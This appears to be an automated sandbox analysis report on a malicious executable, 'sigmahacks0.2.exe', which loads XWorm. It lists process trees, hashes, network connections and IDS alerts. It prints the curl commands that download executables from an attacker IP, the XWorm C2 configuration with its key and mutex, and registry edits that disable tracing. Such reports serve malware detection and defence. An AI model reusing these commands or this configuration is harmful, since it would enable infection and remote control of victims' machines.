| File name: | sigmahacks0.2.exe |
| Full analysis: | https://app.any.run/tasks/89b1cc64-b261-4671-a158-6f6273f7a420 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 10, 2024, 14:51:20 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (console) Intel 80386, for MS Windows |
| MD5: | 5F0F7FA98655C618B7FB9BCE8E01DCA0 |
| SHA1: | B13E2EC9F71F916B4934200901A1BD85A7E19423 |
| SHA256: | 68F7A4CE68D84BDDE71CB6543D90E5E0E08602DB22F9B6388D31876C601FAC31 |
| SSDEEP: | 1536:XCYa+ihNuNMv2blAyHQ5MaAt7JmyxCV7tBKhilgVcRdMbgqOp:XCYa+0Nu6vQAkQ5S7JmyxCbBKhiTbMbW |
MALICIOUS
Drops the executable file immediately after the start
- sigmahacks0.2.exe (PID: 3972)
- curl.exe (PID: 4012)
XWORM has been detected (YARA)
- dllhost.exe (PID: 4028)
SUSPICIOUS
Starts CMD.EXE for commands execution
- sigmahacks0.2.exe (PID: 3972)
Executing commands from a ".bat" file
- sigmahacks0.2.exe (PID: 3972)
The process creates files with name similar to system file names
- curl.exe (PID: 4012)
The executable file from the user directory is run by the CMD process
- dllhost.exe (PID: 4028)
Executable content was dropped or overwritten
- curl.exe (PID: 4012)
Connects to unusual port
- curl.exe (PID: 4012)
- curl.exe (PID: 4036)
Reads the Internet Settings
- cmd.exe (PID: 4004)
- dllhost.exe (PID: 4028)
Potential Corporate Privacy Violation
- curl.exe (PID: 4012)
Checks for external IP
- dllhost.exe (PID: 4028)
INFO
Checks supported languages
- sigmahacks0.2.exe (PID: 3972)
- curl.exe (PID: 4012)
- dllhost.exe (PID: 4028)
- curl.exe (PID: 4036)
- wmpnscfg.exe (PID: 336)
Create files in a temporary directory
- sigmahacks0.2.exe (PID: 3972)
Creates files or folders in the user directory
- curl.exe (PID: 4012)
Reads the computer name
- dllhost.exe (PID: 4028)
- wmpnscfg.exe (PID: 336)
Reads the machine GUID from the registry
- dllhost.exe (PID: 4028)
Manual execution by a user
- wmpnscfg.exe (PID: 336)
Disables trace logs
- dllhost.exe (PID: 4028)
Reads Environment values
- dllhost.exe (PID: 4028)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(4028) dllhost.exe
C2https://pastebin.com/raw/pw1j2xqz:<123456789>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeAkee king
USB drop nameUSB.exe
MutexVoQgi7cuiO7Ae7H2
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (41) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (36.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.6) |
| .exe | | | Win32 Executable (generic) (5.9) |
| .exe | | | Win16/32 Executable Delphi generic (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2019:07:30 08:52:45+00:00 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 2.5 |
| CodeSize: | 70656 |
| InitializedDataSize: | 19456 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1000 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows command line |
Total processes
41
Monitored processes
6
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 336 | "C:\Program Files\Windows Media Player\wmpnscfg.exe" | C:\Program Files\Windows Media Player\wmpnscfg.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Media Player Network Sharing Service Configuration Application Exit code: 0 Version: 12.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3972 | "C:\Users\admin\AppData\Local\Temp\sigmahacks0.2.exe" | C:\Users\admin\AppData\Local\Temp\sigmahacks0.2.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Modules
| |||||||||||||||
| 4004 | "C:\Windows\system32\cmd" /c "C:\Users\admin\AppData\Local\Temp\3C9D.tmp\3C9E.tmp\3C9F.bat C:\Users\admin\AppData\Local\Temp\sigmahacks0.2.exe" | C:\Windows\System32\cmd.exe | — | sigmahacks0.2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 4012 | curl -s -o dllhost.exe "http://176.96.137.11:4000/download/wlms1.exe" | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.5.0 Modules
| |||||||||||||||
| 4028 | dllhost.exe | C:\Users\admin\AppData\Roaming\dllhost.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 2148734499 Version: 1.0.0.0 Modules
XWorm(PID) Process(4028) dllhost.exe C2https://pastebin.com/raw/pw1j2xqz:<123456789> Keys AES<Xwormmm> Options Splitter3 Sleep timeAkee king USB drop nameUSB.exe MutexVoQgi7cuiO7Ae7H2 | |||||||||||||||
| 4036 | curl -s -o Ryver.exe "http://176.96.137.11:4000/download/RyverV.exe" | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.5.0 Modules
| |||||||||||||||
Total events
1 981
Read events
1 969
Write events
12
Delete events
0
Modification events
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4028) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dllhost_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
Executable files
1
Suspicious files
0
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4012 | curl.exe | C:\Users\admin\AppData\Roaming\dllhost.exe | executable | |
MD5:E46D807A18380E6A7F1D6977989A3F46 | SHA256:6BEA0DC4A9308DAFB8ECFFA2F3AA9404FFE8A4341C4AD93AAB5790526534A8E5 | |||
| 3972 | sigmahacks0.2.exe | C:\Users\admin\AppData\Local\Temp\3C9D.tmp\3C9E.tmp\3C9F.bat | text | |
MD5:BA84B52DE7E1626E2D87C18FE32130FF | SHA256:508966997C99A47CF96EB518E366263BF4F2A858EF1B0381EC7563A5ACB52B1C | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
6
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4028 | dllhost.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | unknown |
4012 | curl.exe | GET | 200 | 176.96.137.11:4000 | http://176.96.137.11:4000/download/wlms1.exe | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | unknown |
4012 | curl.exe | 176.96.137.11:4000 | — | dataforest GmbH | DE | unknown |
4036 | curl.exe | 176.96.137.11:4000 | — | dataforest GmbH | DE | unknown |
4028 | dllhost.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ip-api.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
4012 | curl.exe | Attempted Information Leak | ET POLICY curl User-Agent Outbound |
4012 | curl.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
4012 | curl.exe | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
4012 | curl.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4012 | curl.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
4012 | curl.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
4012 | curl.exe | Misc activity | ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) |
4028 | dllhost.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
4028 | dllhost.exe | Device Retrieving External IP Address Detected | POLICY [ANY.RUN] External Hosting Lookup by ip-api |
Process | Message |
|---|---|
dllhost.exe | CLR: Managed code called FailFast without specifying a reason.
|